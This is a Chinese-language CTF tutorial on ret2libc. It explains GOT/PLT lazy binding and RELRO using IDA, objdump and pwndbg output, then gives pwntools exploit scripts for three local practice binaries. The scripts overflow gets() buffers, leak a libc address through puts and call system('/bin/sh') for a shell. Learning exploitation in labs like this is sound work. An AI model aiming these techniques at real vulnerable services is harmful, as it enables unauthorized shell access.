前言
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)
函数调用约定和函数传参
当使用 ida pro 逆向分析时,函数开头总有这么一段:
1
| int __fastcall main(int argc, const char **argv, const char **envp)
|
__fastcall 是函数调用约定的一种,表示函数参数通过寄存器传递而不是通过栈。具体来说,前三个参数通过 rdi 和 rsi 和 rdx 寄存器传递, 前六个参数通过寄存器传递,后面的参数通过栈传递。
32 位程序通过栈传参
延迟绑定
相关调试用到的程序
ret2libc1
当使用 pwn checksec 检测二进制文件时
1
2
3
4
5
6
7
8
9
| pwn checksec ./ret2libc1 (.venv) ✘ 130 master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
|
RELRO: Partial RELRO 表示启用了延迟绑定 (Lazy Binding),即函数的地址在第一次调用时才会被解析并填入 GOT 表中。RELRO: Full RELRO 表示启用了全局重定位 (Full RELRO),即函数的地址在程序加载时就会被解析并填入 GOT 表中。RELRO: No RELRO 表示没有启用延迟绑定。
在第一节中,我们曾经讨论了动态链接和静态链接。动态链接为了节省储存空间采用运行时装载 libc 库
程序中 .got 段记录了 libc 库中函数的地址,如果攻击者修改了 got 地址,攻击者就可以控制程序流了。为此,relro 防护机制应运而生。
但是因为计算机底层的限制,RELRO 机制沦为 🤡 机制
RELRO: No RELRO:没有启用任何防护,攻击者可以直接修改 GOT 表。RELRO: Partial RELRO:启用了部分防护,当所有符号被解析完全,.got 表就会被锁定,攻击者无法再修改。但是程序的符号一般不会被解析完全,比如退出程序需要 exit 函数 (编译器默认开启 RELRO: Partial RELRO)
因为计算机内存管理的最小单位是页 (4K), 这就导致了无法针对没一表项修改权限,只能修改整个 .got 段的权限RELRO: Full RELRO:启用了完全防护,所有符号在程序加载时就会被解析并填入 GOT 表,攻击者无法再修改。但是会一定幅度上降低程序的运行速度
Partial RELRO 下程序延迟绑定的过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| +----------------------+
| ELF |
+----------------------+
|
v
+----------------------+
| .got.plt (GOT表) |
+----------------------+
| foo@got -> plt[0] |------+
+----------------------+\ |
| (首次调用)
v |
+----------------------+ +--v-------------------+
| PLT | | 动态链接器 (ld.so) |
+----------------------+ +----------------------+
| foo@plt: jmp [foo@got] | |
+----------------------+ | 重定位 foo@got |
+---+------------------+
|
v
+----------------------------+
| foo@got = foo@libc address |
+----------------------------+
后续再次调用 foo@plt 时,直接跳转到 foo@libc,实现延迟绑定。
|
在 ida pro 中进行实例分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
| .got:08049FFC ; ===========================================================================
.got:08049FFC
.got:08049FFC ; Segment type: Pure data
.got:08049FFC ; Segment permissions: Read/Write
.got:08049FFC _got segment dword public 'DATA' use32
.got:08049FFC assume cs:_got
.got:08049FFC ;org 8049FFCh
.got:08049FFC __gmon_start___ptr dd offset __gmon_start__
.got:08049FFC ; DATA XREF: _init_proc+F↑r
.got:08049FFC _got ends
.got:08049FFC
.got.plt:0804A000 ; ===========================================================================
.got.plt:0804A000
.got.plt:0804A000 ; Segment type: Pure data
.got.plt:0804A000 ; Segment permissions: Read/Write
.got.plt:0804A000 _got_plt segment dword public 'DATA' use32
.got.plt:0804A000 assume cs:_got_plt
.got.plt:0804A000 ;org 804A000h
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A000 ; DATA XREF: _init_proc+9↑o
.got.plt:0804A000 ; __libc_csu_init+B↑o ...
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048420↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048420+6↑r
.got.plt:0804A00C off_804A00C dd offset gets ; DATA XREF: _gets↑r
.got.plt:0804A010 off_804A010 dd offset time ; DATA XREF: _time↑r
.got.plt:0804A014 off_804A014 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A018 off_804A018 dd offset system ; DATA XREF: _system↑r
.got.plt:0804A01C off_804A01C dd offset __gmon_start__
.got.plt:0804A01C ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A020 off_804A020 dd offset srand ; DATA XREF: _srand↑r
.got.plt:0804A024 off_804A024 dd offset __libc_start_main
.got.plt:0804A024 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A028 off_804A028 dd offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0804A02C off_804A02C dd offset rand ; DATA XREF: _rand↑r
.got.plt:0804A030 off_804A030 dd offset __isoc99_scanf
.got.plt:0804A030 ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0804A030 _got_plt ends
.got.plt:0804A030
.plt:08048420 ; ===========================================================================
.plt:08048420
.plt:08048420 ; Segment type: Pure code
.plt:08048420 ; Segment permissions: Read/Execute
.plt:08048420 _plt segment para public 'CODE' use32
.plt:08048420 assume cs:_plt
.plt:08048420 ;org 8048420h
.plt:08048420 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.plt:08048420
.plt:08048420 ; =============== S U B R O U T I N E =======================================
.plt:08048420
.plt:08048420
.plt:08048420 sub_8048420 proc near ; CODE XREF: .plt:0804843B↓j
.plt:08048420 ; .plt:0804844B↓j ...
.plt:08048420 ; __unwind {
.plt:08048420 push ds:dword_804A004
.plt:08048426 jmp ds:dword_804A008
.plt:08048426 sub_8048420 endp
.plt:08048426
.plt:08048426 ; ---------------------------------------------------------------------------
.plt:0804842C align 10h
.plt:08048430 ; [00000006 BYTES: COLLAPSED FUNCTION _gets. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048436 ; ---------------------------------------------------------------------------
.plt:08048436 push 0
.plt:0804843B jmp sub_8048420
.plt:08048440 ; [00000006 BYTES: COLLAPSED FUNCTION _time. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048446 ; ---------------------------------------------------------------------------
.plt:08048446 push 8
.plt:0804844B jmp sub_8048420
.plt:08048450 ; [00000006 BYTES: COLLAPSED FUNCTION _puts. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048456 ; ---------------------------------------------------------------------------
.plt:08048456 push 10h
.plt:0804845B jmp sub_8048420
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048466 ; ---------------------------------------------------------------------------
.plt:08048466 push 18h
.plt:0804846B jmp sub_8048420
.plt:08048470 ; [00000006 BYTES: COLLAPSED FUNCTION ___gmon_start__. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048476 ; ---------------------------------------------------------------------------
.plt:08048476 push 20h ; ' '
.plt:0804847B jmp sub_8048420
.plt:08048480 ; [00000006 BYTES: COLLAPSED FUNCTION _srand. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048486 ; ---------------------------------------------------------------------------
.plt:08048486 push 28h ; '('
.plt:0804848B jmp sub_8048420
.plt:08048490 ; [00000006 BYTES: COLLAPSED FUNCTION ___libc_start_main. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048496 ; ---------------------------------------------------------------------------
.plt:08048496 push 30h ; '0'
.plt:0804849B jmp sub_8048420
.plt:080484A0 ; [00000006 BYTES: COLLAPSED FUNCTION _setvbuf. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080484A6 ; ---------------------------------------------------------------------------
.plt:080484A6 push 38h ; '8'
.plt:080484AB jmp sub_8048420
.plt:080484B0 ; [00000006 BYTES: COLLAPSED FUNCTION _rand. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080484B6 ; ---------------------------------------------------------------------------
.plt:080484B6 push 40h ; '@'
.plt:080484BB jmp sub_8048420
.plt:080484C0 ; [00000006 BYTES: COLLAPSED FUNCTION ___isoc99_scanf. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:080484C6 ; ---------------------------------------------------------------------------
.plt:080484C6 push 48h ; 'H'
.plt:080484CB jmp sub_8048420
.plt:080484CB ; } // starts at 8048420
.plt:080484CB _plt ends
.plt:080484CB
|
相关的段有三个 .got、.got.plt 和 .plt,它们的作用如下:
.got:存储全局变量和函数的地址,通常在程序加载时就会被解析并填入。.got.plt:存储延迟绑定的函数地址,初始时指向 PLT 中的跳转指令。.plt:存储函数的跳转指令,初始时会跳转到动态链接器进行地址解析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| .got.plt:0804A014 off_804A014 dd offset puts ; DATA XREF: _puts↑r
.plt:08048450
.plt:08048450 ; =============== S U B R O U T I N E =======================================
.plt:08048450
.plt:08048450 ; Attributes: thunk
.plt:08048450
.plt:08048450 ; int puts(const char *s)
.plt:08048450 _puts proc near ; CODE XREF: main+5A↓p
.plt:08048450
.plt:08048450 s = dword ptr 4
.plt:08048450
.plt:08048450 jmp ds:off_804A014
.plt:08048450 _puts endp
.plt:08048450
.plt:08048456 ; ---------------------------------------------------------------------------
.plt:08048456 push 10h
.plt:0804845B jmp sub_8048420
|
使用 objdump 看看:
1
2
3
4
| 08048450 <puts@plt>:
8048450: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014
8048456: 68 10 00 00 00 push 0x10
804845b: e9 c0 ff ff ff jmp 8048420 <.plt>
|
发现 .plt 段的每段指令最后都会 jmp 到 sub_8048420
1
2
| 0x8048420 push dword ptr [0x804a004]
0x8048426 jmp dword ptr [0x804a008] <0xf7fd8640>
|
这两行就是 sub_8048420 处的代码,是 plt 头部的指令
0x804a008 处存放着 _dl_runtime_resolve 库函数的地址,负责符号解析和重定位工作
结合 gdb 调试看看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| ──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
0x8048653 <main+59> mov dword ptr [esp + 8], 1 [0xffffcc18] <= 1
0x804865b <main+67> mov dword ptr [esp + 4], 0 [0xffffcc14] <= 0
0x8048663 <main+75> mov dword ptr [esp], eax [0xffffcc10] <= 0xf7f6a5c0 (_IO_2_1_stdin_) ◂— 0xfbad2088
0x8048666 <main+78> call setvbuf@plt <setvbuf@plt>
0x804866b <main+83> mov dword ptr [esp], 0x8048733 [0xffffcc10] <= 0x8048733 ◂— push edx /* 'RET2LIBC >_<' */
► 0x8048672 <main+90> call puts@plt <puts@plt>
s: 0x8048733 ◂— 'RET2LIBC >_<'
0x8048677 <main+95> lea eax, [esp + 0x1c]
0x804867b <main+99> mov dword ptr [esp], eax
0x804867e <main+102> call gets@plt <gets@plt>
0x8048683 <main+107> mov eax, 0 EAX => 0
0x8048688 <main+112> leave
|
查看 got plt 表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1:
GOT protection: Partial RELRO | Found 10 GOT entries passing the filter
[0x804a00c] gets@GLIBC_2.0 -> 0x8048436 (gets@plt+6) ◂— push 0 /* 'h' */
[0x804a010] time@GLIBC_2.0 -> 0x8048446 (time@plt+6) ◂— push 8
[0x804a014] puts@GLIBC_2.0 -> 0x8048456 (puts@plt+6) ◂— push 0x10
[0x804a018] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push 0x18
[0x804a01c] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push 0x20 /* 'h ' */
[0x804a020] srand@GLIBC_2.0 -> 0x8048486 (srand@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7d605c0 (__libc_start_main) ◂— endbr32
[0x804a028] setvbuf@GLIBC_2.0 -> 0xf7dbb8a0 (setvbuf) ◂— endbr32
[0x804a02c] rand@GLIBC_2.0 -> 0x80484b6 (rand@plt+6) ◂— push 0x40 /* 'h@' */
[0x804a030] __isoc99_scanf@GLIBC_2.7 -> 0x80484c6 (__isoc99_scanf@plt+6) ◂— push 0x48 /* 'hH' */
pwndbg> plt
Section .plt 0x8048420-0x80484d0:
0x8048430: gets@plt
0x8048440: time@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: srand@plt
0x8048490: __libc_start_main@plt
0x80484a0: setvbuf@plt
0x80484b0: rand@plt
0x80484c0: __isoc99_scanf@plt
|
初次调用 puts 函数会进行延迟绑定
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| ──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
► 0x8048450 <puts@plt> jmp dword ptr [0x804a014] <puts@plt+6>
↓
0x8048456 <puts@plt+6> push 0x10
0x804845b <puts@plt+11> jmp 0x8048420 <0x8048420>
↓
0x8048420 push dword ptr [0x804a004]
0x8048426 jmp dword ptr [0x804a008] <0xf7fd8640>
↓
0xf7fd8640 push eax
0xf7fd8641 push ecx
0xf7fd8642 push edx
0xf7fd8643 mov edx, dword ptr [esp + 0x10] EDX, [0xffffcc08] => 0x10
0xf7fd8647 mov eax, dword ptr [esp + 0xc] EAX, [0xffffcc04] => 0xf7ffda60 ◂— 0
0xf7fd864b call 0xf7fd6500 <0xf7fd6500>
pwndbg> tele 0x804a000
00:0000│ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 1
01:0004│ 0x804a004 (_GLOBAL_OFFSET_TABLE_+4) —▸ 0xf7ffda60 ◂— 0
02:0008│ 0x804a008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0xf7fd8640 ◂— push eax
03:000c│ 0x804a00c (gets@got[plt]) —▸ 0x8048436 (gets@plt+6) ◂— push 0 /* 'h' */
04:0010│ 0x804a010 (time@got[plt]) —▸ 0x8048446 (time@plt+6) ◂— push 8
05:0014│ 0x804a014 (puts@got[plt]) —▸ 0x8048456 (puts@plt+6) ◂— push 0x10
06:0018│ 0x804a018 (system@got[plt]) —▸ 0x8048466 (system@plt+6) ◂— push 0x18
07:001c│ 0x804a01c (__gmon_start__@got.plt) —▸ 0x8048476 (__gmon_start__@plt+6) ◂— push 0x20 /* 'h ' */
|
这里的 02:0008│ 0x804a008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0xf7fd8640 ◂— push eax 就是 _dl_runtime_resolve 函数的地址, 负责符号解析和重定位工作
可以看到所有还没绑定的函数 got 指向 plt+6 处的指令,当延迟绑定之后 got 直接指向了函数的实际地址
puts 完成延迟绑定后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1:
GOT protection: Partial RELRO | Found 10 GOT entries passing the filter
[0x804a00c] gets@GLIBC_2.0 -> 0x8048436 (gets@plt+6) ◂— push 0 /* 'h' */
[0x804a010] time@GLIBC_2.0 -> 0x8048446 (time@plt+6) ◂— push 8
[0x804a014] puts@GLIBC_2.0 -> 0xf7dbaf60 (puts) ◂— endbr32
[0x804a018] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push 0x18
[0x804a01c] __gmon_start__ -> 0x8048476 (__gmon_start__@plt+6) ◂— push 0x20 /* 'h ' */
[0x804a020] srand@GLIBC_2.0 -> 0x8048486 (srand@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] __libc_start_main@GLIBC_2.0 -> 0xf7d605c0 (__libc_start_main) ◂— endbr32
[0x804a028] setvbuf@GLIBC_2.0 -> 0xf7dbb8a0 (setvbuf) ◂— endbr32
[0x804a02c] rand@GLIBC_2.0 -> 0x80484b6 (rand@plt+6) ◂— push 0x40 /* 'h@' */
[0x804a030] __isoc99_scanf@GLIBC_2.7 -> 0x80484c6 (__isoc99_scanf@plt+6) ◂— push 0x48 /* 'hH' */
|
ret2libc
ret2libc1
ret2libc1
安全检查
1
2
3
4
5
6
7
8
9
| $ pwn checksec ./ret2libc1 (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
|
静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}
.rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o
void secure()
{
time_t v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}
|
有 system 函数和 /bin/sh 字符串, 直接栈溢出
payload.py:
1
2
3
4
5
6
7
8
9
10
11
12
| from pwn import *
p = process("./ret2libc1")
context.terminal = ["kitty", "@", "launch", "--type=window"]
system_plt = 0x08048460
sh = 0x08048720
payload = b"a" * 112 + p32(system_plt) + p32(0) + p32(sh)
p.sendline(payload)
p.interactive()
|
在调用函数时应该填入 plt 的地址,因为我们无法知道 got 地址
.plt.got 段的 system 中存的是 system_got, 不是 system 函数的指令
在 32 位程序下,system_plt 后面的地址将被当作返回地址压入栈中
ret2libc2
ret2libc2
安全检查
1
2
3
4
5
6
7
8
9
| pwn checksec ./ret2libc2 (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc2/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
|
静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}
.plt:08048490 _system proc near ; CODE XREF: secure+44↓p
|
没有 /bin/sh 字符串我们就自己传入
payload.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
[b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()
|
pop_ebx 是为了将 buf2 弹出去, 使得 PC 指向 sysem_plt
ret2libc3
ret2libc3
安全检查
1
2
3
4
5
6
7
8
9
| $ pwn checksec ./ret2libc3 (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2libc/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
|
静态分析:
1
2
3
4
5
6
7
8
9
10
11
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}
|
无 system 函数和 /bin/sh 字符串
我们可以通过 puts 函数输出 puts 函数的 got 地址,程序的低三位是不变的,我们可以根据此计算出其他函数的实际地址
可以通过
libc-database
查询
也可以通过
LibcSearcher
这个库快速查询
payload.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| #!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
|